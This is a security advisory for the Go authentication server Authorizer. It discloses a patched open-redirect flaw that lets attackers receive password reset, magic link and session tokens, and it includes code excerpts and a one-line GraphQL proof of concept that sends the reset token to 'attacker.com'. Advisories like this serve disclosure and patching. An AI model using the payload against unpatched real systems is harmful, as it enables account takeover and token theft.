GHSA-x3f4-v83f-7wp2 json
Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri
published 7mo ago modified 4mo ago also GO-2026-5737
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Summary
Hi,
I found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
## Affected Endpoints
1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens 2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens 3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens 4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens 5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state 6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)
## Root Cause
Because these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `["https://my-secure-app.com"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.
In `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" { redirectURI = refs.StringValue(params.RedirectURI) }
The reset token is appended to this URL at `internal/utils/common.go:77`:
func GetForgotPasswordURL(token, redirectURI string) string { verificationURL := redirectURI + "?token=" + token return verificationURL }
Compare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { c.JSON(400, gin.H{"error": "invalid redirect url"}) return }
This validation is missing from all 6 endpoints listed above.
## Most Severe Path: Full Token Theft via verify_email
After a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token + "&token_type=bearer&expires_in=" + ... + "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.
## PoC
mutation { forgot_password(params: { email: "victim@example.com" redirect_uri: "https://attacker.com/steal" }) { message } }
The victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker.
## Impact
- Account takeover via stolen password reset tokens - Full session theft via stolen access_token + id_token + refresh_token - Passwordless account compromise via stolen magic link tokens - No authentication required to trigger (the GraphQL mutations are public) - Victim only needs to click the email link from their trusted Authorizer instance
## Additional Note
The default `AllowedOrigins` at `cmd/root.go:39` is `["*"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef
Patch / fix
- go github.com/authorizerdev/authorizer 0.0.0-20260329085140-6d9bef1aaba3
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| ecosystem | package | affected | fixed in |
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| go | github.com/authorizerdev/authorizer | <0.0.0-20260329085140-6d9bef1aaba3 |
0.0.0-20260329085140-6d9bef1aaba3 |
Classification
- Weakness
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- CWE-601 URL Redirection to Untrusted Site
References
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github.com
/authorizerdev/authorizer/pull/502
web, patch
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github.com
/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2
web, patch
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github.com
/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2
web, advisory
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github.com
/authorizerdev/authorizer
package
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github.com
/authorizerdev/authorizer/releases/tag/2.0.1
web
Sources
- GitHub Advisory GHSA-x3f4-v83f-7wp2
- OSV GO-2026-5737
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